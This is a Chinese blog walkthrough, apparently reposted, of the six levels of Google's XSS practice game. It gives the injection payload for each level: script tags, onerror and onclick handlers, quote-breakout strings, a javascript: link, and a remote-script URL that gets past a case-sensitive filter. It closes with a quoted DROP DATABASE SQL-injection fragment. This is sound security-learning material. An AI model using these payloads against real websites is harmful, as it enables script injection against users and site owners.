XSS跨站攻击六则
Posted 啊我亲爱的彤彤姐
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS跨站攻击六则相关的知识,希望对你有一定的参考价值。
首先说一下,什么是xss。xss中文名叫跨站脚本攻击,英文全名叫Cross Site Scripting,为了和css(层叠样式表)区分开,所以叫了xss。(百度百科)叫啥无所谓,我们主要来看xss能干啥。
举个最简单的例子,如果你的html页面只有一个输入框和一个按钮,点击按钮是将输入框的内容弹出来。如果坏人在这个输入的内容中插入了一段js代码,这样的话就会在页面载入的时候执行这段代码。既然如此简单就可以在别人的页面中插入自己的代码,坏人就可以尝试做更多坏事。
再举一个更坏的例子。假设某贴吧的发帖逻辑存在xss漏洞,我在发帖的时候写进去了一段js代码。虽然发帖成功,但由于js代码逻辑没有错误是不会显示在页面上的(就算显示了还能怎么样)。这段代码的功能是,所有见到了这段代码的人都会调用点赞接口,为楼主点一个滑稽币。这样,我只需要让更多人看到我的帖子,我就会得到很多很多滑稽币。
图:
原文链接:http://news.zol.com.cn/640/6409906.html
好了介绍就到这里,接下来是正题。我们老板不知道从哪弄来了一个xss游戏,就是一个国外的网站,里面有6个xss题目。玩了一个半下午,连看攻略带搜翻译,给通关了。
原网站可以点页面左下角的阅读原文来访问,记得自备梯子。
第一题
题目是这样的:
大概就是给了你一个页面,页面有一个输入框和一个按钮,让你用xss的手段alert一个提示框出来。
页面代码如下:
由于是入门题目,就是给人随便玩一玩。输入框没有做任何过滤,也就是输入任何js代码都会执行。直接输入答案过关。
答案:
<script>alert('f@ck you')</script>
第一题就是给人一种xss的概念,我总结来就是,不管网站的开发者写了啥,我就钻空子写我的代码,用别人的设备执行我的代码。
第二题
第二题是一个聊天页面,在输入框中输入一段文本,点击按钮后文本就会被添加到上面的聊天内容中。
经过了第一关的历练,我直接就尝试在输入框中输入
<script>alerrt(123);</script>
然后点击按钮,发现没有反应。使用chrome控制台,发现这段dom结构确实被添加到了页面,但是没有执行。
百度了一波,发现js代码只有在页面载入的时候才会执行。还有另一种可以让js代码立即执行的方式,那就是appendChild。然后想到可以在聊天框中插入图片标签,然后执行js代码。(其实我是看了答案)
然后输入答案,过关。
答案:
<img onerror="alert(123)"/>
这关就算是……开挂了。onerror的属性之前没用过,可以说是xss的知识点了。这种奇怪的属性是不是专门给xss留的后门啊…
不管了,下一关。
第三关
这下灵感就来了,我们的注入点肯定是#号后面的参数了。
我们先来暗中观察一波代码。
大概问题就在第17行了。页面载入的时候,将#号后面的数字作为参数读入程序,并且直接拼接到img标签中。如果我们将自己的代码拼接到这段代码中,就可以被执行了。
正常情况下,我们在#号后面填写了3,会创建这样一个img元素:
<img src='/static/level3/cloud3.jpg' />
如果我们要进行攻击,就不填3。我们尝试填写这么一堆东西:
2222.jpg' onerror='alert(123)' id='
这时会创建这么一个dom元素:
<img src='/static/level3/cloud2222.jpg' onerror='alert(123)' id='.jpg' />
还是使用第二题的原理,当图片载入不了的时候,会出发onerror里的代码。其实这一关还有其他办法,如果不知道onerror这个属性,onclick属性总知道吧。所以,这么写也是正确答案:
2.jpg' onclick='alert(123)' id='
这时点击图片也可以触发alert。过关。
第四关
大概的意思是,输入一个数字作为秒,创建一个计时器。时间到了之后弹出一个提示框。这个提示框不算,通过xss来注入一个提示框就算过关。
经过前三关,搁脚丫子想也知道是在那个输入框动手脚了。连他们给的提示都没看(实际是看了),直接看源代码。
第一个页面,就是输入数字那页,源代码看上去没啥特别的。就是使用form表单将用户输入的数字获取到,然后开始倒计时。
再看下一个页面。
实际是同一个页面。就是接受到了数字之后,在第21行执行。这种写法实际上很危险,很容易就被xss注入了。正常情况下,用户不搞事情的情况下,21行是这样的:
<img onload="startTimer('3');" />
但我们是要搞事情的啊,我们肯定不能正常输入3。我们输入这样一堆东西,试图想在载入页面的时候执行我们输入的代码:
1');alert(123);'
后来发现,分号会被转义:
试了很多次,双引号也会被转义。然后使用逗号链接两个函数,避开分号。成功注入。
答案:
1');alert(123);'
第五题
第五关大概是一个注册网站,点击注册后会提示用户输入电子邮箱,不管输入什么都会提示感谢注册。这道题搁脚丫子看也是一个糊弄用户的网站,用户输入的东西他们根本没有接受。所以不是后端糊弄前端就是前后端合起伙来糊弄老板,或者是老板前后端一起糊弄用户。
既然都用了这么多次脚丫子了,所以我们再用脚丫子看看这道题。第一个页面好像就是一个欢迎页面,没有什么好注入的。然后我们的脚丫子到了第二页,发现第二页有一个get参数next,看上去是指引下一个页面的。我们打开源代码,修改next参数,发现a标签的href属性变了。
这下就好弄了。首先我想到的是使用双引号切割法,于是我在next参数后面填上了:
" onclick=alert(123);
试图创建这样的一个a标签:
<a href="" onclick=alert(123);">Next >></a>
然后……失败了…
发现自己太天真了。首先,双引号被转义成了",然后还多了半个双引号,里面全都是字符串…总之就是失败了。
重新思考一下问题。不管什么参数,都会被拼到href中作为a标签的链接。这让我想起了一位前辈写的清理缓存功能的代码:
<a href="javascript:alert('清理缓存成功')">点击清理缓存</a>
写到这里,这位前辈的坟头草应该很高了…
这恰好启发了我,既然会被转义,我就不写会被转义的字符不就好了。于是,把前辈的代码原封不动弄了上去。
过关。
答案是:
javascript:alert('清理缓存成功')
第六关
居然这么快就到了最后一关,最后一关应该是boss难度了吧。想到这里不由得*花一紧。
图中红框的代码展示了作者如何载入新的js文件。
破解了五个辣鸡网站之后,在第六关的我很淡定,并且没有丝毫的孩怕。我发现,所有可以让我输入内容的地方都可能是破解点。
所以,这关的位置就很简单了——载入的js文件。
我的思路是,自己写一个js文件,在载入的时候alert出点什么东西。然后在# 号后面载入我的js文件,弹框过关。
于是我写了一个js文件,放在了我们项目的服务器上。代码很简单,给喃看也无所谓。
所以,这关的答案就是!
https://xss-game.appspot.com/level6/frame#https://www.dxever.com/xt/js/xss.js
等……等等…不对。。
页面提示我
这老孙子啊……还做了正则匹配,在代码的第21行附近。
读一读正则表达式,好像还有漏洞……
大概漏洞就是没有匹配大写。(实际我是看了答案)
所以!正确答案就是!
https://xss-game.appspot.com/level6/frame#Https://www.dxever.com/xt/js/xss.js
过关。
这关的http写成Http、HTtp什么的都行,总之就是url接受任何大小写的http,正则表达式只匹配了小写的http。
至此通关。
总结:
作为前端,对所有用户输入的内容都要抱有警惕性。后端在接收前端发过来的数据也要抱有警惕性。
所以,下一期没准就是SQL注入。为您展现从删库(; DROP DATABASE;)到跑路。
以上是关于XSS跨站攻击六则的主要内容,如果未能解决你的问题,请参考以下文章